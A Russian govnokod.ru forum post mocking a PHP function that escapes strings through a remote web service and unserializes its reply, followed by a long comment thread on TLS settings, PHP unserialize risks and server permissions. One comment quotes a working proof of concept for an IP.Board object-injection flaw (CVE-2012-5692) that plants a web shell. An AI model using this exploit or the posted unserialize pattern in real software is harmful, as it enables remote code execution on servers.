"PHP" / Говнокод #25635 Ссылка на оригинал

0

  1. 1
  2. 2
  3. 3
  4. 4
  5. 5
  6. 6
function mysql_real_escape_string_cloud($string)
{
    return unserialize(
        file_get_contents("https://mysql-real-escape-string.xyz/php?string="
            . urlencode($string)));
}

Запущен сайт https://mysql-real-escape-string.xyz/, предоставляющий функцию «mysql_real_escape_string» в виде сервиса. Имеются три различных формата получения данных (/plain, /json и инновационный /php). Теперь обеспечить абсолютную безопасность базы данных функцией «mysql_real_escape_string» можно из любого языка, поддерживающего «HTTP-запросы»!

Запостил: gost gost, (Updated )

Комментарии (314) RSS

  • Ебать ты богач. Ты потратил 150 рублей на регу безполезного домена?
    Ответить
  • Можно прям давать этот код людям, спрашивающим об ошибках «FATAL ERROR: call to undefined function mysql_real_escape_string»
    Ответить
  • Сколько будет стоить план на 10 000 запросов в секунду?
    Ответить
    • Это будет решаться на следующем заседании инициативной группы.
      Ответить
  • > https
    Круто! Можно даже пароли эскейпить перед вставкой в базу.
    Ответить
    • Я потек от такого HTTPS, кстати.
      Там во-первых TLS 1.3 (даже у меня 1.2, хотя я тот еще задрот)
      Во-вторых там DSA на элипилептических курвах (вместо сраного RSA) и соответственно эфемерный диффи-хельман
      И наконец там чача и полли и AES на Галуа!

      Осталось толко:
      1. отключить TLS младше 1.1,
      2. выкинуть шифры с AES на CBC
      3. прописать в DNS CAA
      4. включить HSTS

      и SSLABS даст A+ и зеленое по ВСЕМ пунктам.

      Я понимю конечно что это не гост шифры крутил а клаудфр, но HSTS сделать он может точно, да и CAA прописать если там интерфейс DNSа не еблонский
      Ответить
      • Именно поэтому я за «Cloudflare».
        Сделал «A+» в «SSLLABS», проверь. Выкинуть AES CBC не получится — они в конфиге серверов «Cloudflare» прописаны.

        Кстати говоря, трафик между «Cloudflare» и веб-сервером тоже ходит по HTTPS.
        Ответить
        • Вижу:)

          Ты нехило так закрутил гайки.
          >Chrome 49 / XP SP3: Server sent fatal alert: handshake_failure
          Сёма отсосёма теперь.

          В целом круто. Добавь теперь себя пожалуйста в HSTS preload:
          https://hstspreload.org/?domain=mysql-real-escape-string.xyz

          там надо заголовки подкрутить. Тогда браузеры даже не будут пытаться загрузить тебя без HTTPS.
          Ответить
          • Success
            mysql-real-escape-string.xyz is now
            pending inclusion in the HSTS preload list!
            
            Please make sure that mysql-real-escape-string.xyz
            continues to satisfy all preload requirement, or it
            will be removed. Please revisit this site over the
            next few weeks to check on the status of your domain.


            Где подавать заявку на конкурс самых защищённых сайтов?
            Ответить
            • Смех смехом, а я думаю что теперь https у сайта настроен лучше, чем у доброй половины сайтов в вебе.

              Редко когда у кого бывает A+.
              Ответить
              • Ага, лучше чем у «Сбербанка», например: https://www.ssllabs.com/ssltest/analyze.html?d=sberbank.ru. Или у «Яндекса» с его «C»: https://www.ssllabs.com/ssltest/analyze.html?d=yandex.ru
                А у «Госуслуг», на которых миллионы россиян вводят огромное количество персональных данных, «B»: https://www.ssllabs.com/ssltest/analyze.html?d=gosuslugi.ru. А вдобавок сервер ещё и к «Zombie POODLE» уязвим, лол.
                Ответить
                • Удивительно конечно почему так.
                  Ну ладно: Яндекс C потому что SSL 3 чтобы туда Сёмы ходили.

                  Но госуслуги это конечно полный пиздец.
                  Вдумайся: анонимные хуи на govnokod.ru умеют лучше настроить безопасность чем государственный портал со всеми данными граждан за охулиард бабок

                  как так блин?
                  Ответить
                  • Полагаю, что как обычно: распиздяйство, похуизм, распилы и бюрократия. Всем, очевидно, похуй, а кому не похуй — тех посылают нахуй, потому что не положено©.
                    Ответить
                    • Они бы и собаку поддержали.
                      Это не объясняет поддержку SSL 3.0 (даже IE 8 умеет TLS 1.0), пуделя и отсутствие secure renegotiation.

                      И ни одного шифра с DH. Для KeyExchange везде только RSA, соответственно Perfect Forward Security сосёт.
                      Ответить
                      • > perfect forward secrecy
                        Если сервак настолько разъебали, что смогли утащить его RSA ключ, то там скорее всего и кучу твоих данных скопроментировали. И даже шифрованный трафик копить не пришлось.
                        Ответить
                        • И тем не менее если его записали то смогут проиграть.

                          Вообще какой наркоман придумал шифровать нонс ключом от RSA?
                          DH же хуйзнаеткогда выдумали.
                          Ответить
                          • Я думаю, что они просто дрочили на пирфоманс. В публичных ключах RSA всего пара единичек. Из-за этого для клиента шифрование и проверка подписи почти ничего не стоят.
                            Ответить
                          • opensll speed

                            1
                                              sign    verify    sign/s verify/s
                            rsa 2048 bits 0.015773s 0.000470s     63.4   2127.8

                            DH по скорости как медленная операция в rsa по идее.

                            Отступы в первой строке глотаются.
                            Ответить
                      • > DH
                        DHE. Ибо в обычном DH у сервака будет статичный ключ, которым потом можно всё расшифровать как и в RSA.
                        Ответить
                  • > анонимные хуи умеют лучше чем государственный
                    Вся суть

                    Они проебали аусвайсы же еще месяца не прошло
                    Ответить
                      • > господин Клишас и Яровая втирают в десна свои небылицы про мифические угрозы из-за рубежа
                        Как-то беззубо, по-моему. Ясно же, что заказчик - один криминальный карлик, который до усрачки боится инторнета.

                        «Все это [интернет] возникло как спецпроект ЦРУ США, так и развивается», - заявил президент на медиафоруме в Санкт-Петербурге в конце апреля.

                        https://www.vedomosti.ru/technology/articles/2014/05/20/medvedev-popravil-putina-zayavivshego-chto-internet-proekt

                        я немного прихуел с того, что этому уже 5 лет
                        Ответить
                        • Вообще-то верно, что Интернет –— это проект США. Но Яровая и её коллеги боятся не этого, а того, что русня всему миру расскажет, какой пиздец творится в России.
                          Ответить
                      • В информационных системах госорганов — от реестра НКО Минюста до московского портала госзакупок — в открытом доступе размещены 360 тыс. записей с личными данными, в том числе сведения о бывших вице-премьерах правительства

                        Среди людей, информация о которых оказалась в открытом доступе, — бывшие вице-премьеры и вице-спикер Госдумы, утверждает Бегтин. На момент публикации, как убедился РБК, в реестре отчетов некоммерческих организаций Минюста среди отчетов «о деятельности некоммерческой организации и персональном составе ее руководящих органов» можно было найти документ фонда поддержки социальных, образовательных, инновационных и спортивных проектов «Ладья». В его президиум входят первый заместитель председателя Госдумы Александр Жуков (в 2004–2011 годах вице-премьер), сопредседатель фонда «Сколково», бывший вице-премьер Аркадий Дворкович, его жена Зумруд Рустамова, телеведущий Владимир Соловьев, представители руководства Нордеа Банка Ирина Мамхегова и Игорь Коган и губернатор Ивановской области Станислав Воскресенский. Их паспортные данные содержались в отчете фонда.
                        Ответить
            • Да, примерно так.
              Это чтобы браузер сразу шел по HTTPS.
              Ответить
            • Список, встроенный в Хром и хромоклоны, чтобы когда юзер в первый раз открывает http://mysql-real-escape-string.xyz/ (обычно юзер вводит mysql-real-escape-string.xyz и течёт, а браузер сам подставляет «http»), его автоматически перенаправило на HTTPS-версию, без возможности открыть HTTP.
              Ответить
            • А что помешает взъебать тебя подменой адреса либо днсом либо как взрослые дядьки натом?
              Ответить
          • Можно вгетом качать, а потом на винте смотреть, как штульманавт.
            Ответить
            • Жаль что ты не можеш выкинуть бгмерзкий CBC
              Ответить
            • Лол! Они реально ведут список сайтов с https?
              Ответить
              • да
                а как еще прелоада делать, насальника?
                Ответить
                • Теоретически можно в DNS добавлять соответствующую запись, тогда и кокококомпилировать списки не придётся. Но, к сожалению, Роскомговно не работает в Гугле, поэтому приходится ждать кококококомпиляции.
                  Ответить
                  • если бы ты работал в гугле, то тебе пришлось бы не просто патчить chrome, а еще и пропихивать новый стандарт

                    но в целом твоя идея мне нравится. Сделать TXT service запись типа "prot: https"
                    Ответить
                    • Хуйня какая-то. Костыль на костыле.
                      Ответить
                      • ну если бы был DNS то был бы не костыль
                        Ответить
  • Кстати, а unserialize только примитивы десериализует или что-то интересное можно распаковать?
    Ответить
    • вроде даже можно произвольный код выполнить при unserialize
      Ответить
    • Не совсем произвольный код. Можно распаковать произвольный класс с произвольными значениями полей и получить в итоге RCE. Атака называется «PHP Object Injection»: https://www.netsparker.com/blog/web-security/untrusted-data-unserialize-php/, в реальности волне используется (мне вот эта CVE запомнилась: https://www.cvedetails.com/cve/CVE-2012-5692/).
      Ответить
      • Посмотрел первую ссылку. Дыра там не из-за unserialize, а из-за того, что имя файла не проверяется, что позволяет создать файл с произвольным содержимым в document root.
        Ответить
        • Нет, это именно дыра «unserialize». Подразумевается, что класс «Logging» — внутренний, пользователи о нём не знают и на его содержимое никак влиять не могут, все его поля — доверенные (из конфига получены, например).

          Вот описание реальной CVEшки, ссылку на которую я последней кинул:
          [-] Vulnerable code in IPSCookie::get() method defined in /admin/sources/base/core.php 
                
              4015.        static public function get($name) 
              4016.        { 
              4017.            // Check internal data first 
              4018.            if ( isset( self::$_cookiesSet[ $name ] ) ) 
              4019.            { 
              4020.                return self::$_cookiesSet[ $name ]; 
              4021.            } 
              4022.            else if ( isset( $_COOKIE[ipsRegistry::$settings['cookie_id'].$name] ) ) 
              4023.            { 
              4024.                $_value = $_COOKIE[ ipsRegistry::$settings['cookie_id'].$name ]; 
              4025.    
              4026.                if ( substr( $_value, 0, 2 ) == 'a:' ) 
              4027.                { 
              4028.                    return unserialize( stripslashes( urldecode( $_value ) ) ); 
              4029.                } 
                
              The vulnerability is caused due to this method unserialize user input passed through cookies without a proper 
              sanitization. The only one check is done at line 4026,  where is controlled that the serialized string starts 
              with 'a:',  but this is not  sufficient to prevent a  "PHP Object Injection"  because an attacker may send  a 
              serialized string which represents an array of objects.  This can be  exploited to execute arbitrary PHP code 
              via the  "__destruct()" method of the  "dbMain" class,  which calls the "writeDebugLog" method to write debug 
              info into a file.  PHP code may  be injected  only through the  $_SERVER['QUERY_STRING']  variable,  for this 
              reason successful exploitation of this vulnerability requires short_open_tag to be enabled.
          Ответить
            • Давайте подумаем. Настройка short_open_tag позволяет использовать <? вместо <?php (на тег <?= она не влияет).

              Может быть, <?php где-то фильтруется?
              Ответить
                • И правда. Без пробела интерпретируется как plain text, даже если начать со скобки или с точки с запятой, а шорт-теги пробела не требуют.
                  Ответить
                  • В комментах пишут, что нужно именно <\?php\s — то есть с любым пробельным символом, включая табуляцию и перенос строки.
                    Ответить
                    • $phpcode у нас передаётся GET-параметром, значит, urlencoded. Что, если передать <?php%20, чтобы не зависеть от настроек?
                      Ответить
                      • В общем, у нас есть класс «class db_driver_mysql extends db_main_mysql implements interfaceDb», есть, соответственно, класс «db_main_mysql», в котором есть метод __destruct:
                        public function __destruct()
                        	{
                        		$this->return_die = true;
                        		
                        		if ( count( $this->obj['shutdown_queries'] ) )
                        		{
                        			foreach( $this->obj['shutdown_queries'] as $q )
                        			{
                        				$this->query( $q );
                        			}
                        		}
                        		
                        		$this->writeDebugLog( '{end}', '', '' );
                        
                        		$this->obj['shutdown_queries'] = array();
                        		
                        		$this->disconnect();
                        	}


                        А метод writeDebugLog выглядит вот так (часть кода вырезана):
                        public function writeDebugLog( $query, $data, $endtime, $fileToWrite='', $backTrace=FALSE )
                        	{
                        		$fileToWrite = ( $fileToWrite ) ? $fileToWrite : $this->obj['debug_log'];
                        		if ( ( $this->obj['use_debug_log'] AND $this->obj['debug_log'] ) OR ( $this->obj['use_bad_log'] AND $this->obj['bad_log'] )  OR ( $this->obj['use_slow_log'] AND $this->obj['slow_log'] ) )
                        		{
                        // ...
                        			else if ( $query == '{end}' AND ( $this->obj['use_debug_log'] AND $this->obj['debug_log'] ) )
                        			{
                        				$_string  = "\n==============================================================================";
                        				$_string .= "\n=========================		END	   ===================================";
                        				$_string .= "\n========================= " . $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'] . " ===================================";
                        				$_string .= "\n==============================================================================";
                        			}
                        // ...
                        			if ( $_string AND $FH = @fopen( $fileToWrite, 'a' ) )
                        			{
                        				@fwrite( $FH, $_string );
                        				@fclose( $FH );
                        			}

                        Эксплойт создаёт объект db_driver_mysql и устанавливает в нём поля use_debug_log в 1 и debug_log в «public/sh.php». Таким образом, после уничтожения созданного объекта, в файл public/sh.php, доступный для выполнения, записывается куча знаков «=» и не декодированное содержимое $_SERVER['QUERY_STRING'] (в котором пробелов быть не может). Дальше — дело техники.
                        Ответить
                        • > записывается
                          > доступный для выполнения
                          Именно поэтому я за раздельные каталоги для данных и скриптов.
                          Ответить
                          • А оно б не помогло, волшебные «..» приведут нас к RCE быстрее клубка Ариадны. Возможность записать произвольные данные по произвольному пути практически всегда эквивалентна полному доступу к серверу.
                            Ответить
                            • При раздельных каталогах можно лишить процесс «php» доступа к записи в каталог, в котором лежат интерпретируемые скрипты. Не все же запускают «php» от рута.
                              Ответить
                            • Я о том, что у скрипта не должно быть прав на сраньё в каталог с кодом. И наоборот. Понятно что и тут можно засрать какие-то другие файлы с данными... Но RCE уже не так тривиально.
                              Ответить
                              • мудрые адмиы вообще все запускают в докере и делают ФС ридонли так-то

                                нахуй вообще давать что-то куда-то писать и тем более выполнять
                                Ответить
                                  • > некоторые CMS
                                    Потому что они за каким-то хуем правят свой конфиг?
                                    Ответить
                                    • Есть куча вариантов, для чего им нужно что-то записывать:

                                      1. Как ты уже заметил, для самомодифицирующегося конфига.

                                      2а. Каталог для кэша. Например, форум предварительно кокококомпилирует бэбэкоды или мракдаун в HTML, чтобы не кокококомпилировать при каждом просмотре, но сохраняет не в базу, а в файлы.

                                      2б. Или компилирует LESS/SASS в CSS. Или минимизирует и обфусцирует JS. Компиляция CSS или JS требуется раз в сто лет, когда дизайнер что-то подправит, но всё-таки иногда требуется.

                                      3. Каталог для котиков и собачек, загруженных юзером.
                                      Ответить
                                      • > самомодифицирующегося конфига
                                        Имхо, в конфиге должны быть только иммутабельные настройки, которые задаёт админ - параметры коннекта к СУБД, пути к логам и т.п. Остальное в базу.
                                        Ответить
                                      • [авто]обновление самой CMS забыл
                                        Ответить
                                        • > автообновление
                                          Я понимаю, что на говнохостингах альтернатив особо нету... Но, имхо, обновлять код должно что-то внешнее, а не сам этот код.
                                          Ответить
                                          • По хорошему да. Но для говносайтов и так сойдёт.
                                            Ответить
                                      • > 3. Каталог для котиков и собачек, загруженных юзером.
                                        Кстати, в конфиге «Apache» мельком видел какую-то опцию, которая запрещает выполнение скриптов из определённых директорий. То есть если хакер загрузит нам в /images/ какой-нибудь shell.php, «Апач» этот шелл выдаст в text/plain.
                                        Ответить
                                        • Ну хакер всё ещё может подменить какую-то картинку. А в худшем случае - насрать в кеш скомпиленных js'ок.
                                          Ответить
                                          • Кстати, если с правами доступа как-то не очень, то на сервере с «Apache» можно насрать в файл .htaccess и этим самым перекрыть некоторые опции конфига для конкретной директории.
                                            Ответить
                                            • Мне ещё нравится "index.php" как защита от Апача (иначе он покажет список файлов). Архитектура!
                                              Ответить
                                            • причем тут апаче или не апаче?

                                              не надо разрешать срать в тот же каталог где ты работаешь тому пользователю, от чьего имени работает скрип
                                              Ответить
                                              • Тогда бы «WordPress» не был бы таким популярным. Пользователи бы «ебались» с установкой тем, обновлений, и плагинов.
                                                Ответить
                                              • Выше привели несколько примеров, когда разрешать приходится. На мой взгляд, самый «чистый» — фоточки юзеров, которые потом надо отдавать другим юзерам.
                                                Ответить
                                                • Теоретически фоточки юзеров можно хранить как BLOB в СУБД. Но это переголова, потому что другим юзерам их средствами голого сервера не покажешь: нужно парсить запрос, опрашивать СУБД, планировать отдачу содержимого...
                                                  Ответить
                                                  • можно хранить в субд а кешировать на файлосой системе

                                                    разумеется накаждый звапрос на статику лазить в базу это анальная гомопедерастия

                                                    ты так ни кеш не поддеожишь ни range ни sendfile
                                                    Ответить
                                                  • Сразу лить в S3. Тогда даже другие серваки смогут показывать их.
                                                    Ответить
                                                    • И гомоиконы микросервисы!

                                                      А вообще, кмк, достаточно будет разрешения на запись только в /.../site/user_images/ и запрет выполнения скриптов оттуда же. Я в чмодах и човнах плохо понимаю, можно же сделать юзера, который будет иметь доступ на запись в /.../site/user_images/, но при этом не иметь — в /.../site/cgi-bin/?
                                                      Ответить
                                                      • Прикол в том, что у PHP скриптов нет прав на исполнение. Т.е. реально запретить их исполнение можно только в настройках апача.
                                                        Ответить
                                                        • Ну это-то понятно, я о записи волнуюсь — чтобы www мог писать только в одну папку, и даже если через дыру в скриптах туда запишут скрипт — он не выполнится из-за настроек апача. А вот если защиты от записи нет — легко можно записать какой-нибудь «../cgi-bin/shell.php».
                                                          Ответить
                                                          • На нормальном серваке само собой можно. А на говношаредах походу придётся соснуть даже с самой идеей про джве папки.
                                                            Ответить
                                                            • Шареды бывают разные. Бывают с папкой htdocs, где всё вперемешку: и скрипты и статика. А бывают с двумя папками: htdocs со статикой и lib со скриптами (имена могут быть и другими). Бывают ещё шареды на «Апаче», в которых в каждую папку можно класть файл .htaccess, в котором запрещать исполнение скриптов.

                                                              Но в любом случае с защитой от записи в шаредах обычно никак, поэтому в последнем случае (шаред на «Апаче») зачастую можно хакнуть .htaccess.
                                                              Ответить
                                                          • Итого: нужно фильтровать передаваемое имя файла, чтобы в нём не было слешей.
                                                            Ответить
                                                            • В идеале передаваемые клиентом имена файлов вообще никак не должны влиять на названия файлов в ФС сервера. Я рассматриваю способы защиты от таких уязвимостей, в которых атакующий получает возможность записать произвольные данные в файл с произвольным именем; образцово-показательный пример такой уязвимости лежит в начале ветки.
                                                              Ответить
                                        • В «nginx» и в «lighttpd» наоборот, нужно явно разрешать выполнение скриптов из перечисленных директорий. Более того, можно в разных директориях пользоваться разными интерпретаторами.
                                          Ответить
                                        • да, именно по этому в моем дествте все перловые скрипты ложили в "cgi-bin" потому что только из него можно было что-то запускать
                                          Ответить
                                      • З.Ы. Емнип, та же джумла себя довольно адекватно вела в r/o каталоге - просила вручную поправить конфиг, распаковать плагин и т.п....
                                        Ответить
                                    • 4. Я видел движок, который за каким-то интересом часть данных хранит в «SQLite». Разработчик считает, что хранение части данных в «SQLite» вместо основной базы увеличивает пирфоманс, он же «лайт».
                                      Ответить
                                      • Может и да, но фишка sqlite в том что он масенький, именно поэтому он используется на ведроидах.
                                        Ответить
                                        • Он используется не только на ведроидах. Хром и Фуррифокс в sqlite хранят куки и кэш. Sqlite хорош для клиентских приложений.

                                          Почему sqlite не очень хорош на серверах:

                                          1. Он увеличивает количество запросов к файловой системе (и на запись тоже). На OpenVZ, например, где запросы к модулям ядра шарятся между виртуальными машинами, это приведёт к потере производительности.

                                          2. Если sqlite не является основной базой, то мы теряем некоторые функции, например оптимизированные джойны с основными таблицами.

                                          3. Блокировки пофайловые. Мы не можем заблокировать отдельную запись и даже отдельную таблицу. И вообще там с транзакциями какая-то фигня.

                                          В принципе, sqlite пригодна для хранения тех самых настроек сайта.
                                          Ответить
                                          • А ещё в "sqlite" нет типов у колонок. Но в вебе, конечно, всем похуй.
                                            Ответить
                                            • Хм, в «SQLite» поддерживаются типы «INTEGER», «REAL», «TEXT» и «BLOB», при этом все они неявно преобразуются друг в друга по запутанным правилам, а статическая типизация отсутствует… Ба! Да это же прямо как в «PHP»! Именно поэтому пэхапэшники за «SQLite».
                                              Ответить
                                              • > статическая типизация отсутствует
                                                Забавно, но для integer primary key она таки работает.
                                                Ответить
                                              • DDL там есть. Просто типы для красоты. Только integer primary key что-то проверяет, в остальные колонки любую хуйню можно пихать.
                                                Ответить
                                • > что-то куда-то писать
                                  Загруженные файлы куда-то сохранять надо.

                                  З.Ы. Или сразу в S3?
                                  Ответить
        • И PoC:
          // ...
          $payload = urlencode('a:1:{i:0;O:+15:"db_driver_mysql":1:{s:3:"obj";a:2:{s:13:"use_debug_log";i:1;s:9:"debug_log";s:12:"public/sh.php";}}}'); 
          $phpcode = '<?error_reporting(0);print(___);passthru(base64_decode($_SERVER[HTTP_CMD]));die;?>'; 
            
          $packet  = "GET {$path}index.php?{$phpcode} HTTP/1.0\r\n"; 
          $packet .= "Host: {$host}\r\n"; 
          $packet .= "Cookie: {$_prefix}member_id={$payload}\r\n"; 
          $packet .= "Connection: close\r\n\r\n";
          Ответить
        • Получается автор кода и не подозревал, что кто-то создаст экземпляр его класса, кроме него самого. Какой багор )))
          Ответить
        • Ты не такой разумный, как казался.
          Ответить
      • Там таки не только данные, но и код, по крайней мере в питоне. Однако, а нахера вообще его юзать? Чем плох жысон?
        Ответить
        • Тем, что нужно вручную писать сериализацию/десериализацию. А так можно вызвать 1 функцию и течь.
          Ответить
          • JSON_encode, JSON_decode –— это вручную? А, ну да, с помощью JSON_encode можно сохранить не все типы данных, а только некоторое подмножество.
            Ответить
            • Ну классы он не сериализует, хотя чем не устроили словари вместо них?
              Ответить
                    • Ты же тоже питонист 🙂 Хз, вроде не так уж и противно юзать словари.
                      Ответить
                      • Постоянно['писать']['эти']['ебучие']['скобки']['и']['кавычки']...
                        Ответить
                        • В «PHP» есть json_decode(, true) и json_decode(, false)
                          Поэтому->я->за->PHP
                          Ответить
                          • Именно поэтому я за «Python»:
                            >>> class Point:
                            ...     def __init__(self, x, y):
                            ...             self.__dict__ = {'x': x, 'y': y}
                            ...
                            >>> p = Point(10, 20)
                            >>> p.x, p.y
                            (10, 20)
                            >>> s = json.dumps(p.__dict__)
                            >>> s
                            '{"x": 10, "y": 20}'
                            >>> s = '{"x": 42, "y": -20}'
                            >>> p.__dict__.update(json.loads(s))
                            >>> p.x, p.y
                            (42, -20)



                            Спойлер: лучше так не делать.
                            Ответить
                          • А в js вообще нет разницы между объектом и хешмапой. Точка всегда работает.

                            Именно поэтому я за "c++".
                            Ответить
                            • Будем чесны: в скриптопараше такой разницы быть не должно.

                              Противно так говорить, но я согласен с JS и Lua в этом вопросе.

                              В пстончике бывает dict, а бывает named tuple и бывает класс а бывает dataclass.

                              А нахуя? Статически всеравно это не проверяется.

                              нахуй меня заставляют писать то

                              kuritsa.jajtsa[2]
                              то
                              kuritsa['jajtsa'][2]

                              чушь!
                              Ответить
                                • хз, дума что нет


                                  зато в руби можно написать

                                  2.raza.tebe.v.rot.konchil.prover
                                  Ответить
                                  • Почему в JS kuritsa['jajtsa'] и kuritsa.jajtsa –— синонимы, а kuritsa[2] и kuritsa.2 –— нет? Некококококонсистентно!

                                    >> зато в руби можно написать

                                    .raza –— это созданный нами метод-хелпер для инта?
                                    Ответить
                                    • class Integer
                                         def raz
                                           "#{to_s} raz tebja volkoi v glazz"
                                         end
                                      end
                                      
                                      p 12.raz #"12 raz tebja volkoi v glazz"

                                      так точно
                                      Ответить
        • > нахера вообще его юзать
          Внутри периметра - вай нот? Да и клиенту можно одолжить на время если обмазать подписью или HMAC'ом.
          Ответить
          • А потом получается как всегда - где-то недосмотрел и сразу RCE.
            Ответить
            • Там можно белый список классов передать. Просто по-умолчанию за каким-то хуем распаковывает всё подряд...
              Ответить
            • Там ещё и багры забавные:
              Внимание
              FALSE возвращается как в случае ошибки, так и в случае,
              если десериализуется сериализованное значение FALSE.
              Этот особый случай можно отловить, используя сравнение
              str со значением serialize(false), или перехватив сгенерированную ошибку E_NOTICE.


              > используя сравнение str со значением serialize(false)
              Официальная дока, между прочим. Какой PHP-way )))

              Just a note - if the serialized string contains a reference to a class that
              cannot be instantiated (e.g. being abstract) PHP will immediately die
              with a fatal error. If the unserialize() statement is preceded with a '@'
              to avoid cluttering the logs with warns or notices there will be absolutely
              no clue as to why the script stopped working. Cost me a couple of hours...

              Классический случай стрельбы в ногу.
              Ответить
              • Этим обезьянам исключения не завезли?
                Ответить
                • Это не PHP-way. PHP-way — это писать собачку перед каждым вызовом и течь молча глотать любые ошибки, а то они же логи забивают!
                  Ответить
                  • PHP-way - это кидать исключение / триггерить нотис / ворнинг / фатал еррор / возвращать FALSE / NULL в зависимости от того, с какой ноги сегодня встал автор функции. Поэтому пыхомакаки обязательно пишут еррор хендлер, кидающий исключение в любой непонятной ситуации, что б иметь хоть какую-то кокококонсистентность.
                    Именно поэтому я за C.
                    Ответить
                    • PHP-way - это писать семь раз в разные места страницы:
                      Warning: undefined variable $pokupki at line 2432 in /home/z/zeliboba/zeliboba.ru/public_html/popupki/index.php
                      Ответить
        • В Питоне — да, в «PHP» — только поля.
          Anatomy of a serialize()'ed value:
          
          String
          s:size:value;
          
          Integer
          i:value;
          
          Boolean
          b:value; (does not store "true" or "false", does store '1' or '0')
          
          Null
          N;
          
          Array
          a:size:{key definition;value definition;(repeated per element)}
          
          Object
          O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
          
          String values are always in double quotes
          Array keys are always integers or strings
              "null => 'value'" equates to 's:0:"";s:5:"value";',
              "true => 'value'" equates to 'i:1;s:5:"value";',
              "false => 'value'" equates to 'i:0;s:5:"value";',
              "array(whatever the contents) => 'value'" equates to an "illegal offset type" warning because you can't use an
              array as a key; however, if you use a variable containing an array as a key, it will equate to 's:5:"Array";s:5:"value";',
               and
              attempting to use an object as a key will result in the same behavior as using an array will.
          Ответить
  • Есть режим, чтобы можно было писать mysql_query(eval(mysql_real_escape_strin g_cloud($string))) ?
    Ответить
  • Добрый день!

    Планируется ли аналогичный сервис для htmlspecialchars?
    Ответить
  • Выходит gvforum - это твой сайт.
    Ответить
  • Error 526 Ray ID: 51a671a66ff09057 • 2019-09-22 18:46:50 UTC
    Invalid SSL certificate

    У меня блять продакшен под угрозой. Чо за хуйня когда почините???
    Ответить
  • ОПЯТЬ НИХУЯ НЕ РАБОТАЕТ!!!
    Error 502 Ray ID: 51acafb68827d6b9 • 2019-09-23 12:57:47 UTC

    ВЫ ВООБЩЕ SLA СОБИРАЕТЕСЬ СОБЛЮДАТЬ??!
    Ответить
    • Здравствуйте! Пожалуйста, перезагрузите Ваш роутер, следом за ним — Ваш компьютер, а после этого — Ваш телефон. Спасибо за понимание!
      Ответить
      • Здравствуйте! В документации не указано, что строки длинее 4094 символов не поддерживаются. Это баг или фича?
        Ответить
        • Здравствуйте! Это ограничение используемого серверного ПО. Оно будет снято для пользователей премиум-версии нашего сервиса.
          Ответить
      • Уточните, перезагружать в режиме защиты от сбоев?
        Ответить
      • Здравствуйте!
        Добавьте пожалуйста подсвинку свинтаксиса в примерах
        Ответить
        • Здравствуйте! Ваша заявка была передана в инженерный отдел.
          Ответить
        • Здравствуйте! Ваша заявка выполнена, спасибо за обращение!
          Ответить
          • Спасибо, так много лучше.

            Хотелось бы конечно еще видеть вечное кеширование prism.js, но и так неплохо получилось
            Ответить
  • Блядь, микрософт просто гении стабильности.
    На английскую винду поставили русский лангвидж пак. Мало того, что он не переключил язык для не юникодных программ (и вообще не понятно где его менять в новом интерфейсе, если не через control panel) так еще и поиск сломался, жалуется ну MUI и обновления перестали ставиться. Переставил ленгвидж пак -- не помогло.
    Пришлось ленгвидж пак снести.
    Ответить
    • > где его менять в новом интерфейсе

      Administrative settings в настройках языков.
      Ответить
      • На английскую gentoo поставили русский лангвидж пак. Мало того, что он не переключил системную локаль (и вообще не понятно где её менять в новом интерфейсе, если не через vim) так ещё и поиск сломался и ебилды перестали собираться. Переставил ленгвидж пак -- не помогло.
        Ответить
        • ну кстати еще немного поттеринга, и будет именно так.

          Моя локаль проставляется через export LC_ALL в rc скрипте, а однобайтовой параши в линуксе нет.
          Ответить
        • справедливости ради в коляске системный язык довольно несложно меняется мышкой, не надо ничего даже с сайта микросовт скачивать, МУИ хуи, тьфу блять
          и даже потом папки в хоуме новые создаст под документы/загрузки вот это всё (только ещё и старые оставит, если они были не пустые)
          Ответить
      • Это не мне, д. Ты же не думаешь, что я настолько еблан, чтобы русифицировать себе винду?
        Ответить
    • Кстати всегда было интересно как такую хуйню как винда нормально протестить
      Тестировщиков в майкрософт убрали, типа каждый дев ответственен за фичу до конца но если есть 123456 конфигураций и корнер-кейсов то хуй че ты сделаешь
      Что характерно, задры которые генерируют всякие корнер-кейсы еще и отключают себе телеметрию чем убивают визибилити прода винды
      Ответить
      • Отключил телеметрию - разбирайся со своими косяками сам. Как-то так.

        Точно так же как с опломбированной техникой. Залез внутрь? Хуй тебе, а не гарантия.
        Ответить
      • >естировщиков в майкрософт убрали, типа каждый дев ответственен за фичу
        лолшто? можно пруфоф?
        Ответить
          • ну чтож, это объясняет крайне хуевое качество современных виндопродуктов
            Ответить
            • справедливости ради, хуевое качество по я наблюдаю не только в винде так что дело не только в qa
              Ответить
              • однако удаление QA это самое идиотское, что можно было сделать
                Ответить
                • Всё норм, главное вовремя объявить это прогрессивной методологией.
                  Ответить
                  • Следующим шагом предлагаю отказаться продажников.
                    Пускай программист сам реализует свои фичи, и сам их продает
                    Ответить
                    • Продажники и так каста прокажённых

                      К сожалению, иногда они свою проказу распространяют и на другие отделы
                      Ответить
                • В статье была описана довольно жизненная ситуация которую я встречал: девы выкидывают говнокод на автоматизаторов, автоматизаторы все корнер кейсы высыпали на мануальщиков а мануальщики жрали говно и тестирование и стабилизация после говнорелиза в итоге становятся узким местом
                  У меня есть знакомые которые пилят интерпрайз для банков без qa так что наверное жить можно
                  Ответить
                  • Это фикситься автоматизацией корнер кейсов

                    > пилят интерпрайз для банков без qa
                    всё таки надо валить из программирования, тут побеждает рак
                    Ответить
                    • >Это фикситься автоматизацией корнер кейсов
                      Ну вот разрабы сами себе и автоматизируют
                      Ответить
                      • > интерпрайз для банков без qa
                        ну там обычно не "хуяк хуяк и в прод" принято, а сука документ Программа и методики испытаний, который должен быть пройден полностью, чтобы комиссия подписала акт о приемке

                        если нет QA, то до сдачи кто-то да должен его пройти (обычно, десятки раз), иначе на сдаче будет факап и ты денег не получишь

                        но если внутренний отдел при банке, тогда да, уже никто не занимается такой бюрократией, из контекста не ясно
                        Ответить
                        • Деталей не знаю, но это скорее всего не сама платежка так что я припиздел
                          Ответить
                      • Автоматизировать должен QA.

                        Разраб пишет, а QA проверяет систему на соответствие пользовательским сценариям, параллельно пытаясь что-то сломать.

                        Он не доверяет программисту, ему вообще срать что там программист писал.

                        А уж как QA прогоняет эти сценари -- это его дело. Руками ли, скриптами ли, похуй.

                        Для меня "у нас нет QA, потому что у нас программисты юнит тест написали" звучит как "у нас нет багов, потому что у нас хорошие программисты"
                        Ответить
              • вероятно, тестировщиков ёбнули не только в МС

